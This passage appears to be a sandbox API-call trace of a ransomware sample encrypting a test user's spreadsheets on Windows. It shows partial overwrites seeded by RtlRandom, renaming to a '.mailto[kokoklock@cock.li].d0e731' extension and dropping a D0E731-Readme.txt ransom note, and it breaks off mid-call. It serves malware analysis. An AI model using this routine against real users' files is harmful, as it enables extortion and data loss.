Thread: id = 769 os_tid = 0x1250 [0075.615] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\o0O- EcZYJlSaSo089x.xls" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\o0o- eczyjlsaso089x.xls")) returned 0x20 [0075.615] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\o0O- EcZYJlSaSo089x.xls", dwFileAttributes=0x20) returned 1 [0075.616] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\o0O- EcZYJlSaSo089x.xls" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\o0o- eczyjlsaso089x.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9e4 [0075.616] GetFileSizeEx (in: hFile=0x9e4, lpFileSize=0x1ce3f894 | out: lpFileSize=0x1ce3f894*=92823) returned 1 [0075.616] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x16a93, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.616] ReadFile (in: hFile=0x9e4, lpBuffer=0x1ce3f868, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1ce3f864, lpOverlapped=0x0 | out: lpBuffer=0x1ce3f868*, lpNumberOfBytesRead=0x1ce3f864*=0x4, lpOverlapped=0x0) returned 1 [0075.616] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.616] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.616] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479570 [0075.616] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479598 [0075.616] NtQuerySystemTime (in: CurrentTime=0x1ce3f840 | out: CurrentTime=0x1ce3f840*=132121176335034157) returned 0x0 [0075.616] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0x92979922 [0075.616] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0xa22c122a [0075.616] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0x6e879dc0 [0075.616] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0xd1d1e322 [0075.616] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0xa351d3f [0075.616] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0xac5a64ca [0075.616] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0xe6a69693 [0075.616] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0x36f5e469 [0075.616] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0x2776ac8a [0075.616] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0x61ae52fa [0075.616] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0x5f397ce5 [0075.616] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0x3d2315ac [0075.616] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0xfd42d712 [0075.616] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0x4b5e92f3 [0075.617] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0x1f39f91c [0075.617] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0x945f102e [0075.617] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0x12db428a [0075.617] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0x5dcd48a1 [0075.617] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0x5cb7af1e [0075.617] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0xf2c85272 [0075.617] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0x4890bd70 [0075.617] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0x3d277693 [0075.617] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0x28f478dd [0075.617] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0xf3fb8efe [0075.617] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0x8390042e [0075.617] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0x666bccae [0075.617] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0x2c1d573e [0075.617] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0x22b68a48 [0075.617] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0xc99c36c3 [0075.617] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0x6ab40b99 [0075.617] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0x767ca374 [0075.617] RtlRandom (in: Seed=0x1ce3f84c | out: Seed=0x1ce3f84c) returned 0x22c691b1 [0075.628] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.628] ReadFile (in: hFile=0x9e4, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1ce3f818, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1ce3f818*=0x4096, lpOverlapped=0x0) returned 1 [0075.628] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.628] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd940 [0075.628] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0075.628] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.628] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479548) returned 1 [0075.629] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.629] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479610 [0075.629] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.629] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479548) returned 1 [0075.629] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0075.629] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd940) returned 1 [0075.629] WriteFile (in: hFile=0x9e4, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1ce3f818, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1ce3f818*=0x4096, lpOverlapped=0x0) returned 1 [0075.629] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.629] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x16a97, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.629] WriteFile (in: hFile=0x9e4, lpBuffer=0x3479610*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1ce3f850, lpOverlapped=0x0 | out: lpBuffer=0x3479610*, lpNumberOfBytesWritten=0x1ce3f850*=0x20, lpOverlapped=0x0) returned 1 [0075.629] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479610) returned 1 [0075.629] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.629] WriteFile (in: hFile=0x9e4, lpBuffer=0x34795e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1ce3f864, lpOverlapped=0x0 | out: lpBuffer=0x34795e8*, lpNumberOfBytesWritten=0x1ce3f864*=0x8, lpOverlapped=0x0) returned 1 [0075.630] WriteFile (in: hFile=0x9e4, lpBuffer=0x1ce3f87c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1ce3f864, lpOverlapped=0x0 | out: lpBuffer=0x1ce3f87c*, lpNumberOfBytesWritten=0x1ce3f864*=0x4, lpOverlapped=0x0) returned 1 [0075.630] WriteFile (in: hFile=0x9e4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1ce3f864, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1ce3f864*=0x4, lpOverlapped=0x0) returned 1 [0075.630] WriteFile (in: hFile=0x9e4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1ce3f864, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1ce3f864*=0x6c, lpOverlapped=0x0) returned 1 [0075.630] WriteFile (in: hFile=0x9e4, lpBuffer=0x3479570*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1ce3f864, lpOverlapped=0x0 | out: lpBuffer=0x3479570*, lpNumberOfBytesWritten=0x1ce3f864*=0x20, lpOverlapped=0x0) returned 1 [0075.630] WriteFile (in: hFile=0x9e4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1ce3f864, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1ce3f864*=0x4, lpOverlapped=0x0) returned 1 [0075.630] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479570) returned 1 [0075.630] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34795c0) returned 1 [0075.630] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34795e8) returned 1 [0075.630] CloseHandle (hObject=0x9e4) returned 1 [0075.630] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x347a800 [0075.630] wcscpy (in: _Dest=0x347a800, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\o0O- EcZYJlSaSo089x.xls" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\o0O- EcZYJlSaSo089x.xls") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\o0O- EcZYJlSaSo089x.xls" [0075.630] wcscat (in: _Dest=0x347a800, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\o0O- EcZYJlSaSo089x.xls.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\o0O- EcZYJlSaSo089x.xls.mailto[kokoklock@cock.li].d0e731" [0075.630] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\o0O- EcZYJlSaSo089x.xls" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\o0o- eczyjlsaso089x.xls"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\o0O- EcZYJlSaSo089x.xls.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\o0o- eczyjlsaso089x.xls.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.632] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\o0O- EcZYJlSaSo089x.xls.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.633] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a800) returned 1 [0075.633] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\o0O- EcZYJlSaSo089x.xls", dwFileAttributes=0x20) returned 0 [0075.633] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x86) returned 0x33e2f00 [0075.633] wcscpy (in: _Dest=0x33e2f00, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\" [0075.633] wcscat (in: _Dest=0x33e2f00, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\D0E731-Readme.txt" [0075.633] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\d0e731-readme.txt")) returned 0xffffffff [0075.633] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9e4 [0075.633] WriteFile (in: hFile=0x9e4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1ce3f860, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1ce3f860*=0x481, lpOverlapped=0x0) returned 1 [0075.634] CloseHandle (hObject=0x9e4) returned 1 [0075.634] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2f00) returned 1 [0075.634] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c458) returned 1 [0075.634] RtlExitUserThread (Status=0x1) Thread: id = 770 os_tid = 0x1254 [0075.635] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\YJffA8aYWK.ods" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\yjffa8aywk.ods")) returned 0x20 [0075.635] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\YJffA8aYWK.ods", dwFileAttributes=0x20) returned 1 [0075.636] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\YJffA8aYWK.ods" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\yjffa8aywk.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9e4 [0075.636] GetFileSizeEx (in: hFile=0x9e4, lpFileSize=0x1cebfc0c | out: lpFileSize=0x1cebfc0c*=99587) returned 1 [0075.636] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x184ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.636] ReadFile (in: hFile=0x9e4, lpBuffer=0x1cebfbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1cebfbdc, lpOverlapped=0x0 | out: lpBuffer=0x1cebfbe0*, lpNumberOfBytesRead=0x1cebfbdc*=0x4, lpOverlapped=0x0) returned 1 [0075.636] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.636] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.636] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479570 [0075.636] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34795c0 [0075.636] NtQuerySystemTime (in: CurrentTime=0x1cebfbb8 | out: CurrentTime=0x1cebfbb8*=132121176335346363) returned 0x0 [0075.636] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0x6940caea [0075.636] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0x5b8c56c9 [0075.636] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0x55763b13 [0075.636] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0x9a43e9fa [0075.636] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0x4b1c2dfa [0075.636] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0x382e5034 [0075.636] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0xb30c12b9 [0075.636] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0xc4dee4f6 [0075.636] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0xc7228997 [0075.636] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0x6ca3259a [0075.636] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0x431fbc02 [0075.637] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0x7f4b3de [0075.637] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0x3f8c5113 [0075.637] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0x667cd0a [0075.637] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0x92ed1f41 [0075.637] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0xa3d14e6c [0075.637] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0xb7e32f5d [0075.637] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0xcc89f71 [0075.637] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0xb44f981d [0075.637] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0xd67943f9 [0075.637] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0x90938cb2 [0075.637] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0x4fc89af0 [0075.637] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0xc58f9c75 [0075.637] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0x9af9d279 [0075.637] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0xf899483b [0075.637] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0x3232a472 [0075.637] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0x8b01006b [0075.637] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0xe3a8f626 [0075.637] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0xaaaef1c2 [0075.637] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0xae662820 [0075.637] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0x8aea25a7 [0075.637] RtlRandom (in: Seed=0x1cebfbc4 | out: Seed=0x1cebfbc4) returned 0x530b1ca5 [0075.648] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.648] ReadFile (in: hFile=0x9e4, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1cebfb90, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1cebfb90*=0x4096, lpOverlapped=0x0) returned 1 [0075.648] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.648] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd940 [0075.648] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0075.648] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.648] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479548) returned 1 [0075.649] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.649] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479638 [0075.649] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.649] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479548) returned 1 [0075.649] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0075.649] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd940) returned 1 [0075.649] WriteFile (in: hFile=0x9e4, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1cebfb90, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1cebfb90*=0x4096, lpOverlapped=0x0) returned 1 [0075.649] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.649] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x18503, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.650] WriteFile (in: hFile=0x9e4, lpBuffer=0x3479638*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1cebfbc8, lpOverlapped=0x0 | out: lpBuffer=0x3479638*, lpNumberOfBytesWritten=0x1cebfbc8*=0x20, lpOverlapped=0x0) returned 1 [0075.650] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479638) returned 1 [0075.650] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.650] WriteFile (in: hFile=0x9e4, lpBuffer=0x3479610*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1cebfbdc, lpOverlapped=0x0 | out: lpBuffer=0x3479610*, lpNumberOfBytesWritten=0x1cebfbdc*=0x8, lpOverlapped=0x0) returned 1 [0075.650] WriteFile (in: hFile=0x9e4, lpBuffer=0x1cebfbf4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1cebfbdc, lpOverlapped=0x0 | out: lpBuffer=0x1cebfbf4*, lpNumberOfBytesWritten=0x1cebfbdc*=0x4, lpOverlapped=0x0) returned 1 [0075.650] WriteFile (in: hFile=0x9e4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1cebfbdc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1cebfbdc*=0x4, lpOverlapped=0x0) returned 1 [0075.650] WriteFile (in: hFile=0x9e4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1cebfbdc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1cebfbdc*=0x6c, lpOverlapped=0x0) returned 1 [0075.650] WriteFile (in: hFile=0x9e4, lpBuffer=0x3479570*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1cebfbdc, lpOverlapped=0x0 | out: lpBuffer=0x3479570*, lpNumberOfBytesWritten=0x1cebfbdc*=0x20, lpOverlapped=0x0) returned 1 [0075.650] WriteFile (in: hFile=0x9e4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1cebfbdc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1cebfbdc*=0x4, lpOverlapped=0x0) returned 1 [0075.650] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479570) returned 1 [0075.650] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34795e8) returned 1 [0075.650] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479610) returned 1 [0075.650] CloseHandle (hObject=0x9e4) returned 1 [0075.650] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3431fd8 [0075.650] wcscpy (in: _Dest=0x3431fd8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\YJffA8aYWK.ods" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\YJffA8aYWK.ods") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\YJffA8aYWK.ods" [0075.651] wcscat (in: _Dest=0x3431fd8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\YJffA8aYWK.ods.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\YJffA8aYWK.ods.mailto[kokoklock@cock.li].d0e731" [0075.651] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\YJffA8aYWK.ods" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\yjffa8aywk.ods"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\YJffA8aYWK.ods.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\yjffa8aywk.ods.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.651] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\YJffA8aYWK.ods.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.651] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431fd8) returned 1 [0075.651] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\YJffA8aYWK.ods", dwFileAttributes=0x20) returned 0 [0075.651] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x86) returned 0x33e31d0 [0075.651] wcscpy (in: _Dest=0x33e31d0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\" [0075.651] wcscat (in: _Dest=0x33e31d0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\D0E731-Readme.txt" [0075.651] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\D0E731-Readme.txt" (normalized: 